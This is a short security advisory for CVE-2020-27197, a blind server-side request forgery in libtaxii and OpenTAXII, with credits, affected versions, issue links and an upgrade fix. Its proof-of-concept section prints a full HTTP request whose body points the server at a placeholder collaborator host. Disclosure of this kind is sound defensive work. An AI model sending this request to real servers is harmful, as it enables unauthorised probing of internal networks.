Libtaxii 1.1.117 / OpenTaxi 0.2.0 Server-Side Request Forgery

`Libtaxii version <= 1.1.117 & OpenTaxi <=0.2.0 Blind SSRF  
  
  
Details  
========================================================================================  
Product:   
Security-Risk: High  
Remote-Exploit: yes  
Vendor-URL: https://github.com/eclecticiq/OpenTAXII , https://github.com/TAXIIProject/libtaxii  
CVE-ID: CVE-2020-27197  
  
  
Credits  
========================================================================================  
Discovered by: Owais Mehtab & Vijay Kota  
Kudos: Sergey Polzunov for finding the root cause and pointing out that the issue with Libtaxii <= 1.1.117  
  
Affected Products:  
========================================================================================  
Libtaxii version <= 1.1.117  
OpenTaxi <=0.2.0  
  
  
Description  
========================================================================================  
While testing opentaxii platform a blind SSRF issue was identified  
  
https://github.com/TAXIIProject/libtaxii/issues/246  
https://github.com/eclecticiq/OpenTAXII/issues/176  
  
Proof of Concept  
========================================================================================  
POST /services/discovery HTTP/1.1  
Host: 127.0.0.1:9000  
Connection: close  
Accept-Encoding: gzip, deflate  
Accept: application/xml  
User-Agent: Cabby 0.1.20  
X-TAXII-Accept: urn:taxii.mitre.org:message:xml:1.1  
X-TAXII-Services: urn:taxii.mitre.org:services:1.1  
X-TAXII-Content-Type: urn:taxii.mitre.org:message:xml:1.1  
X-TAXII-Protocol: urn:taxii.mitre.org:protocol:https:1.0  
Content-Type: application/xml  
Content-Length: XXX  
  
http://burp_collaborator_url?<taxii_11:Discovery_Request xmlns:taxii="http://taxii.mitre.org/messages/taxii_xml_binding-1" xmlns:taxii_11="http://taxii.mitre.org/messages/taxii_xml_binding-1.1" xmlns:tdq="http://taxii.mitre.org/query/taxii_default_query-1" message_id="877a5f67-6616-4040-bbc1-5f36efd5a349"/>  
  
  
  
Solution  
========================================================================================  
Update libtaxii version to 1.1.118  
`